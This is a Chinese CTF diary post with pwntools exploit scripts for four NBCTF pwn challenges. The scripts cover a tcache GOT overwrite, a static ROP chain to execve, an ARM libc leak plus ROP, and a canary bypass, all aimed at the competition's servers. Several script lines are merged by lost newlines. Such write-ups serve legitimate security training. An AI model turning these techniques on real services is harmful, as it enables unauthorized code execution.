CTF特训日记day2

day2打了一个叫NBCTF的比赛

做了四个题，剩下五道arm的题不会做了，关注一下wp，也许可以靠这个比赛提升一波异架构能力。

heapnotes

2.31简单堆题，没啥好说的，直接改got就行了

from re import L
from pwn import *
from ctypes import *
from struct import pack
from io import BytesIO
import binascii
from PIL import Image
#context.log_level = 'debug'
context.arch='amd64'
#io=process("./pwn")
#io = remote("tamuctf.com", 443, ssl=True, sni="encryptinator")
io=remote('chal.nbctf.com',30172)
#io = process(['./pwn'],env={"LD_PRELOAD":"./libc64.so"})
elf=ELF('./pwn')
#io = remote('arm.nc.jctf.pro', 17916)
#io=process(["qemu-ppc", "-g", "4321", "./pwn"])
#io=process(["qemu-aarch64",  "-L", "/usr/aarch64-linux-gnu", "./pwn"])
#print("please start gdb")
#s=raw_input()
libc = ELF('./libc.so.6')
#libc = ELF('./libc-2.31.so')
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, b'\x00'))
uu64 = lambda data        : u64(data.ljust(8, b'\x00'))
def menu(choice):sla("> ",str(choice))
def add(context):menu(1)sla("Input note data: ",context)
def show(index):menu(2)sla("): ",str(index))
def edit(index,context):menu(3)sla("): ",str(index))sla("Input note data: ",context)
def free(index):menu(4)sla("): ",str(index))bss=0x404120
add('/bin/sh\x00')
add('a'*8)
add('/bin/sh\x00')
free(0)
free(1)
show(1)
heapbase=u64(io.recvline()[:-1].ljust(8,'\x00'))-0x2a0
lg("heapbase")
edit(1,'a'*0x10)
free(1)
add(p64(0x404020))
add('a'*8)
add(p64(elf.plt['system']))
show(2)
#gdb.attach(io)
irt()

ribbit

直接写rop硬拿shell就好，不用管它什么所谓的win函数，反正程序是静态编译的，什么gadget都有

from re import L
from pwn import *
from ctypes import *
from struct import pack
from io import BytesIO
import binascii
from PIL import Image
#context.log_level = 'debug'
context.arch='amd64'
#io=process("./pwn")
#io=gdb.debug('./pwn','b*0x401922')
io=remote("chal.nbctf.com",30170)
#io = remote("tamuctf.com", 443, ssl=True, sni="encryptinator")
#io=remote('chal.nbctf.com',30172)
#io = process(['./pwn'],env={"LD_PRELOAD":"./libc64.so"})
elf=ELF('./pwn')
#io = remote('arm.nc.jctf.pro', 17916)
#io=process(["qemu-ppc", "-g", "4321", "./pwn"])
#io=process(["qemu-aarch64",  "-L", "/usr/aarch64-linux-gnu", "./pwn"])
#print("please start gdb")
#s=raw_input()
#libc = ELF('./libc.so.6')
#libc = ELF('./libc-2.31.so')
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, b'\x00'))
uu64 = lambda data        : u64(data.ljust(8, b'\x00'))
rdi_ret=0x000000000040201f
rsi_ret=0x000000000040a04e
rdx_ret=0x000000000047fe1a
rax_ret=0x0000000000449267
win=0x401825
puts=0x40c7b0
t_read=0x448800
bss=0x4C6800
syscall=0x0000000000401dd4payload='a'*0x28+p64(rdi_ret)+p64(0)+p64(rsi_ret)+p64(bss)+p64(rdx_ret)+p64(8)+p64(t_read)+p64(rdi_ret)+p64(bss)+p64(rsi_ret)+p64(0)+p64(rdx_ret)+p64(0)+p64(rax_ret)+p64(59)+p64(syscall)
#payload='You got this!'+'\x00'*8+'Just do it!'+'\x00'*8+p64(rdi_ret)+p64(0xF10C70B33F)+p64(rax_ret)+p64(rsi_ret)+p64(win)
sla("Can you give my pet frog some motivation to jump out the hole?",payload)
io.send('/bin/sh\x00')
irt()

ret2thumb

用自己的qemu-arm就可以直接怼shellcode，用它给的就不行，有点奇怪，而且每天东这个题和thumb有什么关系，直接泄露libc然后栈迁移到bss上直接rop就行，不过要事先找到能控制r0的gadget，直接ROPgadget搜只能搜到控制fp,r3和r4的gadget，但是仔细找的话会发现如果把0x10500地址处的mov r0,r3;pop {fp,pc} 和pop {r3,pc}结合起来的话是可以做到直接控制r0的这也是为什么可以直接泄露libc去进行rop的原因

from re import L
from pwn import *
from ctypes import *
from struct import pack
from io import BytesIO
import binascii
from PIL import Image
#context.log_level = 'debug'
context.arch='arm'#io=process("./pwn")
#io = remote("tamuctf.com", 443, ssl=True, sni="encryptinator")
io=remote('chal.nbctf.com',30175)
#io = process(['./pwn'],env={"LD_PRELOAD":"./libc64.so"})
elf=ELF('./pwn')
#io = remote('arm.nc.jctf.pro', 17916)
#io=process(["qemu-ppc", "-g", "4321", "./pwn"])
#io=process(["./qemu-arm",  "-g","4321","-L", ".", "./pwn"])
#io=process(["./qemu-arm",  "-L", ".", "./pwn"])
#print("please start gdb")
s=raw_input()
libc = ELF('./libc.so.6')
#libc = ELF('./libc-2.31.so')
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, b'\x00'))
uu64 = lambda data        : u64(data.ljust(8, b'\x00'))
main=0x10510
bss=0x12600
gadget=0x104F0
r3_pc=0x00010388
r0_r3=0x10550
payload='a'*0x20+p32(bss)+p32(r3_pc)+p32(elf.got['puts'])+p32(r0_r3)+p32(bss+0x24)+p32(gadget)+p32(0)+p32(bss)
sla("Can you ret2thumb? \n",payload)
libcbase=u64(io.recvline()[:-1].ljust(8,'\x00'))-libc.sym['puts']
lg("libcbase")
#shellcode=asm(shellcraft.thumb.sh())
system=libcbase+libc.sym['system']
payload='a'*0x24+p32(r3_pc)+p32(bss+0x38)+p32(r0_r3)+p32(bss)+p32(system)+'/bin/sh\x00'
io.sendline(payload)
irt()

canary-in-a-coal-mine

程序给了gets，还给了在栈上写某条从已知地址出发的链上的任意一个数据，有canary，给了后门，所以直接用大量后门地址覆盖栈然后利用给的功能在bss找一个能指向canary的地址写到对应位置上绕过canary保护就可

from re import L
from pwn import *
from ctypes import *
from struct import pack
from io import BytesIO
import binascii
from PIL import Image
context.log_level = 'debug'
context.arch='arm'#io=process("./pwn")
#io = remote("tamuctf.com", 443, ssl=True, sni="encryptinator")
io=remote('chal.nbctf.com',30178)
#io = process(['./pwn'],env={"LD_PRELOAD":"./libc64.so"})
elf=ELF('./pwn')
#io = remote('arm.nc.jctf.pro', 17916)
#io=process(["qemu-ppc", "-g", "4321", "./pwn"])
#io=process(["./qemu-arm",  "-g","4321","-L", ".", "./pwn"])
#io=process(["./qemu-arm",  "-L", ".", "./pwn"])
#print("please start gdb")
s=raw_input()
libc = ELF('./libc.so.6')
#libc = ELF('./libc-2.31.so')
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, b'\x00'))
uu64 = lambda data        : u64(data.ljust(8, b'\x00'))
win=0x10828
def menu(choice):sla("> ",str(choice))
def mine(index,depth):menu(1)sla("mining position\n> ",str(index))sla("mining depth\n> ",str(depth))
def extract(index):menu(2)sla("minecart number\n> ",str(index))
def gets(payload):menu(3)sla("collapsing mineshaft\n> ",payload)
payload=p32(win+1)*0x20
gets(payload)
guard=0x21038
mine(0x21038,2)
extract(8)
menu(4)
irt()

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/192593.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Redis 入门、基础。（五种基本类型使用场景）

Redis 入门、基础。（五种基本类型使用场景）

文章目录 1. 概况1.1 认识 NoSQL1.1.1 查询方式1.1.2 事务1.1.3 总结 2. 认识 Redis4. Redis 常见命令4.1 Redis 数据结构介绍4.2 Redis 通用命令4.3 Redis 命令之 String 命令4.4 Redis 命令的层级结构4.5 Redis 命令之 Hash 命令4.6 Redis 命令之 List 命令4.7 set 唯一不排序…
阅读更多...
SparkSQL远程调试（IDEA）

SparkSQL远程调试（IDEA）

启动Intellij IDEA，打开spark源码项目，配置远程调试 Run->Edit Configuration 启动远程spark-sql spark-sql --verbose --driver-java-options "-Xdebug -Xrunjdwp:transportdt_socket,servery,suspendy,address5005"参数说明：…
阅读更多...
css实现简单的抽奖动画效果和旋转效果，还有春联效果

css实现简单的抽奖动画效果和旋转效果，还有春联效果

使用css的animation和transform和transition可以实现简单的图片放大缩小，旋转，位移的效果，由此可以延伸的动画效果还是挺多的，比如图片慢慢放大，图片慢慢旋转并放大，图片慢慢变化位置等等， 抽奖…
阅读更多...
重新认识Word——样式

重新认识Word——样式

重新认识Word Word样式给所有一级标题加上一级标题样式修改标题一样式，符合要求 正文样式标题前的小黑点导航窗格样式的相互复制Word一键转PPT 话说回来，一个程序员平时可能还看不起office全家桶的软件，但是，在实际的生活运用中&a…
阅读更多...
苍穹外卖面试题-下

苍穹外卖面试题-下

17. 项目参与人员角色 项目经理（1人）：对整个项目负责，任务分配、把控进度 产品经理（1人）：进行需求调研，输出需求调研文档、产品原型等 UI设计师（1人）&#…
阅读更多...
电商产品经理常用的ChatGPT通用提示词模板

电商产品经理常用的ChatGPT通用提示词模板

电商产品规划和策略：请帮助我规划和制定电商产品的策略和计划，包括市场调研、用户需求分析、产品定位、竞争对手分析等方面的内容，以便我能够更好地把握市场机会并制定相应的发展策略。 电商产品设计和开发：请帮助我进行电商产品…
阅读更多...
Canvas和SVG有什么区别?a元素除了用于导航外，还有什么作用？如何在页面上实现一个圆形的可点击区域?

Canvas和SVG有什么区别?a元素除了用于导航外，还有什么作用？如何在页面上实现一个圆形的可点击区域?

Canvas和SVG有什么区别? svg 绘制出来的每一个图形的元素都是独立的 DOM 节点， 能够方便的绑定事件或用来修改。 canvas输出的是一整幅画布。 svg 输出的图形是矢量图形，后期可以修改参数来自由放大缩小，不会失真和锯齿 。而canvas 输出标量…
阅读更多...
springboot 整合 RocketMQ 可用于物联网，电商高并发场景下削峰，保证系统的高可用

springboot 整合 RocketMQ 可用于物联网，电商高并发场景下削峰，保证系统的高可用

本文根据阿里云 RocketMQ产品文档整理，地址:https://help.aliyun.com/document_detail/29532.html?userCodeqtldtin2 RocketMQ是由阿里捐赠给Apache的一款低延迟、高并发、高可用、高可靠的分布式消息中间件。经历了淘宝双十一的洗礼。RocketMQ既可为分布式应用系统…
阅读更多...
内部培训平台的系统 PlayEdu搭建私有化内部培训平台

内部培训平台的系统 PlayEdu搭建私有化内部培训平台

PlayEdu是由白书科技团队多年经营的线上教育系统，专为企业提供的全新企业培训方案 我们的目标是为更多的企业机构搭建私有化内部培训平台，以满足不断增长的培训需求 通过PlayEdu，企业可以有效地组织和管理培训资源，提供高质量的…
阅读更多...
PriorityQueue类

PriorityQueue类

PriorityQueue类 Java中的PriorityQueue是一个基于优先级堆的无界优先级队列。它是一个队列，可以按照元素的优先级顺序对元素进行排序，并且允许快速访问具有最高优先级的元素。它实现了Queue接口，继承了AbstractQueue类。 主要函数和方法&a…
阅读更多...
AIGC: 关于ChatGPT中基于API实现一个客户端Client

AIGC: 关于ChatGPT中基于API实现一个客户端Client

Java版的GPT的Client 可作为其他编程语言的参考注意: 下面包名中的 xxx 可以换成自己的 1 ）核心代码结构设计 src main java com.xxx.gpt.client entity ChatCompletion.javaChatCompletionResponse.javaChatChoice.java… util Proxys.java… ChatApi.javaChatG…
阅读更多...
C++的lambda语法

C++的lambda语法

仿函数的最大缺点是： 如果命名不合规范并且没有给出注释，直接阅读难以理解（排序的调用过程中，不查看仿函数细节，则很难直接得知是升序排序还是降序排序）每次实现仿函数都需自己构建一个类 因此C从其他语言…
阅读更多...
分类详情 API 返回值说明

分类详情 API 返回值说明

为了进行此平台API的调用，首先我们需要做下面几件事情。 1、 获取一个KEY，点击获取测试key和secret 2、 参考API文档里的接入方式和示例。 3、查看测试工具是否有需要的接口，响应实例的返回字段是否符合参数要求。 4、利用平台的文档中心…
阅读更多...
[前 5 名] 最顶级的数据恢复软件解决方案列表

[前 5 名] 最顶级的数据恢复软件解决方案列表

您是否在互联网上找到适用于 Windows PC 的前 5 名最受好评的数据恢复软件解决方案？嗯，在线市场上有很多工具可以恢复已删除的文件。但并不是所有的应用程序都值得使用它。值得信赖的文件恢复工具将有助于快速检索丢失、删除、格式化的数据并从计算机恢复…
阅读更多...
JVM之基本概念（一）

JVM之基本概念（一）

(1) 基本概念： JVM 是可运行 Java 代码的假想计算机 ，包括一套字节码指令集、一组寄存器、一个栈、一个垃圾回收，堆 和 一个存储方法域。JVM 是运行在操作系统之上的，它与硬件没有直接的交互。 (2) 运行过程： 我们都…
阅读更多...
[传智杯 #4 决赛] 小智的疑惑

[传智杯 #4 决赛] 小智的疑惑

题目描述 传智专修学院给了小智一个仅包含小写字母的字符串 s，他想知道，里面出现了多少次子串 chuanzhi 呢。 我们称一个字符串 t 是 s 的子串，当且仅当将 s 的开头若干个（可以为 0 个）连续字符和结尾若干个&#xf…
阅读更多...
讲一下mysql的锁

讲一下mysql的锁

MySQL 中的锁机制是数据库管理系统用于控制并发访问的重要组成部分。锁是一种资源访问的机制，通过它可以确保在同一时间只有一个事务能够对资源进行操作，从而维护数据的一致性和完整性。在 MySQL 中，锁主要分为共享锁（Shared Lock…
阅读更多...
听GPT 讲Rust源代码--src/tools(7)

听GPT 讲Rust源代码--src/tools(7)

File: rust/src/tools/rust-analyzer/crates/ide/src/inlay_hints/chaining.rs 在Rust源代码中，rust-analyzer/crates/ide/src/inlay_hints/chaining.rs这个文件的作用是生成Rust代码中的链式调用提示。 具体来说，当我们使用链式调用时，例如A…
阅读更多...
Python练习题（三）

Python练习题（三）

📑前言 本文主要是【Python】——Python练习题的文章，如果有什么需要改进的地方还请大佬指出⛺️ 🎬作者简介：大家好，我是听风与他🥇 ☁️博客首页：CSDN主页听风与他 🌄每日一句&am…
阅读更多...
51单片机PWM讲解

51单片机PWM讲解

前言 51单片机我已经很久没用过了，毕竟是十年前的产物了，但是由于工作室的学弟学妹需要学习，加之马上就要举行循迹小车比赛，很多人反映看不懂PWM，或者看了不会用，于是写一篇文章简单介绍一下。 PWM普遍应…
阅读更多...
最新文章

Copyright @ 2022~2023